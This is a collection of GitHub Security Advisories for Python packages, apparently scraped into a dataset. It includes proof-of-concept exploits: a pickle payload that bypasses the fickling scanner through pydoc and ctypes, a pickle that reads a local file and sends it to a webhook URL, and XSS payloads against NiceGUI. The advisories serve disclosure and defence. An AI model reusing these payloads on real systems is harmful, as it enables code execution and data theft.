deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-5hvc-6wx8-mvv4
Package: fickling (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.1.6
Patched in: 0.1.7

Summary: Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

Details:
# Fickling's assessment

`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).

# Original report

### Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE

### Details
Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate('ctypes.windll.kernel32.WinExec').
Execution: Call the result with (b'calc.exe', 1).

To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin

### PoC
```python
import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }
    
    payload += BUILD 
    
    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)
    
print("Generated 'stealth_ctypes.pkl'")
````

What fickling sees
```python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
```
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
GitHub Security Advisory: GHSA-4f6g-68pf-7vhv
Package: pypdf (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: < 6.6.0
Patched in: 6.6.0

Summary: pypdf has possible long runtimes for malformed startxref

Details:
### Impact
An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid `startxref` entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected.

### Patches
This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).

### Workarounds

```python
from pypdf import PdfReader, PdfWriter


# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)

# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))
```

### Resources
This issue has been fixed in #3594.
GitHub Security Advisory: GHSA-4xc4-762w-m6cg
Package: pypdf (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 6.6.0
Patched in: 6.6.0

Summary: pypdf has possible long runtimes for missing /Root object with large /Size values

Details:
### Impact
An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the `/Root` entry in the trailer, while using a rather large `/Size` value. Only the non-strict reading mode is affected.

### Patches
This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).

### Workarounds

```python
from pypdf import PdfReader, PdfWriter


# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)

# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))
```

### Resources
This issue has been fixed in #3594.
GitHub Security Advisory: GHSA-mcmc-2m55-j8jj
Package: vllm (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-20: Improper Input Validation, CWE-123: Write-what-where Condition, CWE-502: Deserialization of Untrusted Data, CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.10.2, < 0.11.1
Patched in: 0.13.0

Summary: vLLM introduced enhanced protection for CVE-2025-62164

Details:
### Summary
The fix [here](https://github.com/vllm-project/vllm/pull/27204) for CVE-2025-62164 is not sufficient. The fix only disables prompt embeds by default rather than addressing the root cause, so the DoS vulnerability remains when the feature is enabled.

### Details
vLLM's pending change attempts to fix the root cause, which is the missing sparse tensor validation.  PyTorch (~v2.0) disables sparse tensor validation (specifically, sparse tensor invariants checks) by default for performance reasons.  vLLM is adding the sparse tensor validation to ensure indices are valid, non-negative, and within bounds.  These checks help catch malformed tensors.

### PoC
NA

### Impact
Current fix only added a flag to disable/enable prompt embeds, so by default, prompt embeds feature is disabled in vLLM, which stops DoS attacks through the embeddings.  However, It doesn’t address the problem when the flag is enabled and there is still potential for DoS attacks.

### Changes

* https://github.com/vllm-project/vllm/pull/30649
GitHub Security Advisory: GHSA-p3jp-7gj7-h6pr
Package: records-mover (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 1.6.0
Patched in: 1.6.0

Summary: records-mover Injection vulnerability

Details:
A weakness has been identified in bluelabsio records-mover up to 1.5.4. The affected element is an unknown function of the component Table Object Handler. This manipulation causes SQL Injection. The attack needs to be launched locally. Upgrading to version 1.6.0 is sufficient to fix this issue. Patch name: 3f8383aa89f45d861ca081e3e9fd2cc9d0b5dfaa. Developers should upgrade the affected component.
GitHub Security Advisory: GHSA-m7j5-rq9j-6jj9
Package: nicegui (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.22.0, <= 3.4.1
Patched in: 3.5.0

Summary: NiceGUI apps are vulnerable to XSS which uses `ui.sub_pages` and render arbitrary user-provided links

Details:
### Summary

An unsafe implementation in the `click` event listener used by `ui.sub_pages`, combined with attacker-controlled link rendering on the page, causes an XSS when the user actively clicks on the link. 

### Details

1. On `click`, eventually `sub_pages_navigate` event is emitted.
https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L41-L63

2. SubPagesRouter (used by ui.sub_pages), lisnening on `sub_pages_navigate`, `_handle_navigate` runs.
https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22

3. `_handle_navigate` runs `run_javascript` with f-string substituting `self.current_path` which is simply surrounded by double-quotes. The string context can be broken out easily. 

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L73-L88

### PoC

The minimal PoC boils down to this:

```py
from nicegui import ui

ui.sub_pages({'/': lambda: ui.link('Go to XSS', '/"+alert(1)+"')})

ui.run()
```

However, it is more likely that the attack takes place with attacker-controlled input, for which this shows it:

```py
from nicegui import app, ui

ui.sub_pages({'/': lambda: ui.label('Hello, World!')})

ui.textarea('Markdown content').bind_value(app.storage.general, 'markdown_content')

ui.markdown().bind_content_from(app.storage.general, 'markdown_content')

ui.run()
```

Vulnerable input is `[XSS LINK](/"+alert(document.domain)+")` (causes double payload execution, though)

**Both cases require someone to click on the link.** 

<img width="1428" height="254" alt="image" src="https://github.com/user-attachments/assets/8be4f345-c0cf-4df2-9917-677a2ea72626" />

### Impact

Any page which uses `ui.sub_pages` and renders arbitrary links on screen (common case of `ui.markdown`) is affected.

The impact is low since a click is always required from the user, who can on-hover to discover the sketchy content of the link and stop if well-trained. 

### Appendix

AI is used safely to judge the CVSS scoring (input is not even provided, just the impact statement).

Please find the results in https://poe.com/s/y5DvyqgtszDGLUuHin1O

### Scoring update after manual review

- Scope **Changed** is more inline with other posted XSS vulnerabilities
- Availability **None**: No DDoS is possible with this. Site remains performant as ever.
GitHub Security Advisory: GHSA-7grm-h62g-5m97
Package: nicegui (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.13.0, <= 3.4.1
Patched in: 3.5.0

Summary: NiceGUI is vulnerable to XSS via Unescaped URL in ui.navigate.history.push() / replace()

Details:
### Summary
XSS risk exists in NiceGUI when developers pass attacker-controlled strings into `ui.navigate.history.push()` or `ui.navigate.history.replace()`. These helpers are documented as History API wrappers for updating the browser URL without page reload. However, if the URL argument is embedded into generated JavaScript without proper escaping, a crafted payload can break out of the intended string context and execute arbitrary JavaScript in the victim’s browser.

**Applications that do not pass untrusted input into `ui.navigate.history.push/replace` are not affected.**

### Details
NiceGUI provides `ui.navigate.history.push(url)` and `ui.navigate.history.replace(url)` to update the URL using the browser History API. If an application forwards user-controlled data (e.g., URL path segments, query parameters like `next=...`, form values, etc.) into these methods, an attacker can inject characters such as quotes and statement terminators to escape the JavaScript string context and execute arbitrary code.

A vulnerable pattern is:
- attacker controls a value (e.g., via the request path),
- the application passes it to `ui.navigate.history.push(payload)` (or `replace`).

This is similar in spirit to other NiceGUI XSS advisories:
- `ui.html()`,`ui.chat_message()` can cause XSS when developers render untrusted input as HTML (XSS risk/footgun).
- `ui.interactive_image` had XSS via unsanitized SVG content and was handled as a security advisory with a fix and severity rating.

Because `ui.navigate.history.*` is expected to accept a URL (data) rather than executable code, the library should escape/encode the argument before emitting JavaScript.

### PoC
#### Create a simple app

```python
from nicegui import ui

@ui.page('/')
def index():
    # A link/button a victim could click (attacker can also send the URL directly)
    ui.button('open crafted path', on_click=lambda: ui.navigate.to('/%22);alert(document.domain);//'))

@ui.page('/{payload:path}')
def victim(payload: str):
    ui.label(f'payload = {payload!r}')

    # Vulnerable use: forwarding attacker-controlled path to history.push
    ui.button('trigger', on_click=lambda: ui.navigate.history.push(payload))

ui.run()
```

#### Run the app

```bash
python app.py
```

#### Trigger

1. Open `http://localhost:8080/`
2. Click `open crafted path`
3. Click `trigger`

Expected result: JavaScript executes (an alert showing `document.domain`).

### Impact
- Vulnerability type: DOM-based XSS
- Attack vector: attacker-controlled input embedded into JavaScript via `ui.navigate.history.push/replace`
- Affected users: any NiceGUI-based application that forwards untrusted input into `ui.navigate.history.push()` or `ui.navigate.history.replace()`
- Potential outcomes: client-side code execution, phishing UI injection, and other typical XSS impacts
GitHub Security Advisory: GHSA-87hc-h4r5-73f7
Package: Werkzeug (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-67: Improper Handling of Windows Device Names
Vulnerable versions: < 3.1.5
Patched in: 3.1.5

Summary:  Werkzeug safe_join() allows Windows special device names with compound extensions

Details:
Werkzeug's `safe_join` function allows path segments with Windows device names that have file extensions or trailing spaces. On Windows, there are special device names such as `CON`, `AUX`, etc that are implicitly present and readable in every directory. Windows still accepts them with any file extension, such as `CON.txt`, or trailing spaces such as `CON `.

This was previously reported as https://github.com/pallets/werkzeug/security/advisories/GHSA-hgf8-39gv-g3f2, but the fix failed to account for compound extensions such as `CON.txt.html` or trailing spaces. It also missed some additional special names.

`send_from_directory` uses `safe_join` to safely serve files at user-specified paths under a directory. If the application is running on Windows, and the requested path ends with a special device name, the file will be opened successfully, but reading will hang indefinitely.
GitHub Security Advisory: GHSA-h4rf-624j-gj33
Package: terminal-controller (PIP)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 0.1.7
Patched in: unpatched

Summary: terminal-controller-mcp vulnerable to Command Injection

Details:
A command injection vulnerability in the execute_command function of terminal-controller-mcp 0.1.7 allows attackers to execute arbitrary commands via a crafted input.
GitHub Security Advisory: GHSA-9726-w42j-3qjr
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.0.35
Patched in: 0.0.35

Summary: picklescan has Arbitrary file read using `io.FileIO` 

Details:
### Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

### Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

1. io.FileIO: Opens local files without using builtins.open.

2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

### PoC

```python
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
```

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />


### Impact

- Arbitrary file read

Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
GitHub Security Advisory: GHSA-rvjx-cfjh-5mc9
Package: loggingredactor (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-704: Incorrect Type Conversion or Cast
Vulnerable versions: < 0.0.6
Patched in: 0.0.6

Summary: loggingredactor converts non-string types to string types in logs

Details:
### Impact
Non-string types are converted into string types, leading to type errors in %d conversions.

### Patches
The problem has been patched in version 0.0.6.

### Workarounds
None without patching.

### Resources
Issue report: https://github.com/armurox/loggingredactor/issues/7
Release: https://github.com/armurox/loggingredactor/releases/tag/0.0.6
GitHub Security Advisory: GHSA-38jv-5279-wg99
Package: urllib3 (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: >= 1.22, < 2.6.3
Patched in: 2.6.3

Summary: Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)

Details:
### Impact

urllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

### Affected usages

Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.


### Remediation

Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.

If upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.
GitHub Security Advisory: GHSA-mrfv-m5wm-5w6w
Package: hdwallet (PIP)
Severity: MODERATE (CVSS 4.5)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 3.6.1
Patched in: 3.6.1

Summary: libsodium has Incomplete List of Disallowed Inputs

Details:
libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.

This advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.
GitHub Security Advisory: GHSA-mrfv-m5wm-5w6w
Package: PyNaCl (PIP)
Severity: MODERATE (CVSS 4.5)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 1.6.2
Patched in: 1.6.2

Summary: libsodium has Incomplete List of Disallowed Inputs

Details:
libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.

This advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.
GitHub Security Advisory: GHSA-793v-589g-574v
Package: bokeh (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1385: Missing Origin Validation in WebSockets
Vulnerable versions: < 3.8.2
Patched in: 3.8.2

Summary: Bokeh server applications have Incomplete Origin Validation in WebSockets

Details:
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. 

### Scope

This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. 

This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. 

### Impact

If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.

Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.

### Patches
Patched in versions 3.8.2 and later.

### Workarounds

None

### Technical description

The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.

Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.

For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
GitHub Security Advisory: GHSA-fh55-r93g-j68g
Package: aiohttp (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-779: Logging of Excessive Data
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP Vulnerable to Cookie Parser Warning Storm

Details:
### Summary
Reading multiple invalid cookies can lead to a logging storm.

### Impact
If the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.

----

Patch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326